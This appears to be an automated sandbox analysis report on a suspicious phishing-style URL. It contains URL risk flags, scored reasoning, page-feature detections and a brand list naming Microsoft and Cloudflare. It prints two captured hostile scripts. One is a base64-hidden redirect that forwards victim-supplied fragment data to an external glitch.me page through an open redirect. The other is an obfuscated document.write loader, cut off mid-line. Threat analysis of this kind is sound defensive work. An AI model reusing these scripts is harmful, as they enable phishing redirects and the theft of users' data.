Windows Analysis Report
https://info-kyorakuenchhfb48bv6chhfb48bv6.narymar.com/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://info-kyorakuenchhfb48bv6chhfb48bv6.narymar.com

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the setTimeout function to execute the malicious logic after a short delay further increases the risk. Overall, this script exhibits a clear intent to engage in malicious activities and should be considered a high-risk threat."
}

var timer=setTimeout(function(){if (window.location.hash){var link=window.atob("d3d3LmJyYW5kZXF1aXR5LmVjb25vbWljdGltZXMuaW5kaWF0aW1lcy5jb20vZXRsLnBocD91cmw9Ly93YXRtY3NvbXBzdmNwYnMtZ3VpeHVobHRzb2xzdWNkbWkuZ2xpdGNoLm1lL3dhdG1jc29tcHN2Y3Bicy1ndWl4dWhsdHNvbHN1Y2RtaWluZGV4Lmh0bWw="); var hash=getProcessHash(); window.top.location.href=`https://${link}#${hash}`;}function getProcessHash(){if(window.location.hash){let h=window.location.hash;let s=h.split('#')[1];return atob(s);}}},666);

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk indicators, including dynamic code execution through the use of obfuscated code and potential data exfiltration. While the specific purpose of the script is unclear, the level of obfuscation and the presence of suspicious behaviors suggest a medium to high risk. Further investigation would be necessary to determine the full extent of the potential threats."
}

var _0xf1e982=_0xe418;function _0xe418(_0x31431d,_0x3b2d4f){var _0x4f6082=_0x2df5();return _0xe418=function(_0x319eff,_0x27b44f){_0x319eff=_0x319eff-(-0x1cd3+0x1bab+0x1b0);var _0x5692f4=_0x4f6082[_0x319eff];return _0x5692f4;},_0xe418(_0x31431d,_0x3b2d4f);}function _0x2df5(){var _0x4bbdc8=['5%78%74%2D','%52%61%79%','65%72%20%6','70%61%69%6','%76%20%63%','65%36%36%2','F%22%3E%20','%65%66%3D%','74%79%20%6','3E%20%3C%2','%64%69%76%','%3C%64%69%','74%72%6B%5','4%22%3E%20','2%3E%3C%2F','22%68%74%7','%6C%6F%75%','D%66%66%63','5%74%6D%5F','9%63%2D%77','2%79%20%3C','%75%72%69%','64%69%76%3','%32%32%64%','2440548UMXfhO','6F%64%65%2','6%20%63%6C','6E%3E','%64%66%6C%','A%20%3C%63','%3D%22%66%','27abTuYA','6D%70%3B%7','%33%2D%34%','1%73%73%3D','70%65%72%2','20%63%6C%6','8342469xEgjUe','65%62%31%2','61%6E%6B%2','%2F%61%20%','%5F%62%6C%','%2F%2F%77%','3C%64%69%7','68%61%6C%6','69%6E%66%6','72%66%69%7','76%20%63%6','%69%76%3E%','20%69%64%3','1%6E%63%65','0%73%65%63','%70%65%6E%','%3E%3C%2F%','754699ZnLggb','%61%67%6E%','1%72%65%3C','%68%61%6C%','C%61%73%73','79%2D%69%6','3D%22%74%6','20%49%44%3','65%6C%3D%2','%6E%6E%65%','0%3C%64%69','%65%6E%74%','%61%20%72%','5%74%3D%22','F%6A%73%63','2%3E%20%3C','104832bkIjPz','2%6E%6F%6F','%64%3D%22%','2%3E%20%50','61%72%65%2','%65%3D%63%','5F%6A%73%2','%63%65%6E%','64%66%6C%6','8%20%64%69','D%38%39%31','7%6E%3D%6C','E%63%6F%6D','2%3E%34%39','3%6C%6F%75','%66%65%72%','72%22%3E%2','5%72%22%20','6D%70%3B%2','%30%76%37%','2%20%68%72','10DMxGeQ','D%22%72%61','72%65%72%2','434flnEXz','6F%6F%74%6','3%6F%6E%74','6C%61%73%7','%6C%65%61%','%22%20%74%','F%64%69%76','%20%26%61%','E%3C%2F%64','582pAUZSv','6F%72%6D%6','5%72%2D%69','%65%26%61%','79015xyrkXR','2%20%3E%43','C%65%6E%67','write','6F%73%74%6','%72%61%70%','3C%73%70%6','3C%2F%63%6','%22%72%61%','74%65%72%2','F%64%65%3E','%6F%64%65%','%65%72%66%','77%77%2E%6','F%75%72%63','3%3D%22%63','25222758GaIGft','%72%6F%6C%','6D%5F%73%6','65%3D%22%6','61%72%67%6','1%6E%20%69','%61%73%73%','4%70%73%3A','E%6F%72%65','%73%70%61%','%3F%75%74%','%20%3C%2F%','%63%61%6D%','%79%2D%63%','317674AahBWZ'];_0x2df5=function(){return _0x4bbdc8;};return _0x2df5();}(function(_0x291252,_0x249a00){var _0x585750=_0xe418,_0x3be74d=_0x291252();while(!![]){try{var _0x19bf01=-parseInt(_0x585750(0xd4))/(0x3*-0x1a8+-0x1d+0x516)+parseInt(_0x585750(0x9d))/(0x11ae+0x13d9*-0x1+-0x22d*-0x1)*(-parseInt(_0x585750(0xbd))/(0x2045*-0x1+0x643*-0x2+-0xb9*-0x3e))+-parseInt(_0x585750(0xb6))/(0x2070+0x1156+0x1096*-0x3)+-parseInt(_0x585750(0x109))/(0x402+-0xb38*0x2+-0x1*-0x1273)*(-parseInt(_0x585750(0x105))/(0x7bc+-0x98b+0x1d5))+parseInt(_0x585750(0xfc))/(-0x1*-0x785+-0x28d+-0x4f1)*(parseInt(_0x585750(0xe4))/(-0x73d+0x42e*0x1+0x317))+parseInt(_0x585750(0xc3))/(-0xf0d+-0x414+0x132a)*(-parseInt(_0x585750(0xf9))/(-0x1*0x18d5+0x1181*0x2+-0x361*0x3))+parseInt(_0x585750(0x8f))/(-0x2449+-0x1*0x13d9+0x382d);if(_0x19bf01===_0x249a00)break;else _0x3be74d['push'](_0x3be74d['shift']());}catch(_0x1316fa){_0x3be74d['push'](_0x3be74d['shift']());}}}(_0x2df5,-0x3*0x6cb36+-0xba565*0x1+0x2e0516),document[_0xf1e982(0x10c)](unescape(_0xf1e982(0xa9)+_0xf1e982(0xcd)+_0xf1e982(0xd8)+_0xf1e982(0xbc)+_0xf1e982(0xfd)+_0xf1e982(0xf5)+_0xf1e982(0x90)+_0xf1e982(0x92)+_0xf1e982(0xfe)+_0xf1e982(0xdf)+_0xf1e982(0xcb)+_0xf1e982(0xa4)+_0xf1e982(0xa9)+_0xf1e982(0xcd)+_0xf1e982(0xd8)+_0xf1e982(0xbc)+_0xf1e982(0xfd)+_0xf1e982(0x107)+_0xf1e982(0xdd)+_0xf1e982(0xf4)+_0xf1e982(0xde)+_0xf1e982(0xa2)+_0xf1e982(0xff)+_0xf1e982(0x8e)+_0xf1e982(0x100)+_0xf1e982(0xcc)+_0xf1e982(0xed)+_0xf1e982(0xd5)+_0xf1e982(0x10d)+_0xf1e982(0xb1)+_0xf1e982(0x10e)+_0xf1e982(0xc1)+_0xf1e982(0xe3)+_0xf1e982(0xa8)+_0xf1e982(0xc2)+_0xf1e982(0xc0)+_0xf1e982(0x111)+_0xf1e982(0xd9)+_0xf1e982(0xab)+_0xf1e982(0x9f)+_0xf1e982(0xdb)+_0xf1e982(0xbb)+_0xf1e982(0x8a)+_0xf1e982(0xcf)+_0xf1e982(0xfa)+_0xf1e982(0x9c)+_0xf1e982(0xb7)+_0xf1e982(0xf1)+_0xf1e982(0xb5)+_0xf1e982(0xc4)+_0xf1e982(0xaf)+_0xf1e982(0xbf)+_0xf1e982(0xa3)+_0xf1e982(0xee)+_0xf1e982(0xf7)+_0xf1e982(0x110)+_0xf1e982(0x89)+_0

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": true,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft",
    "Cloudflare"
  ]
}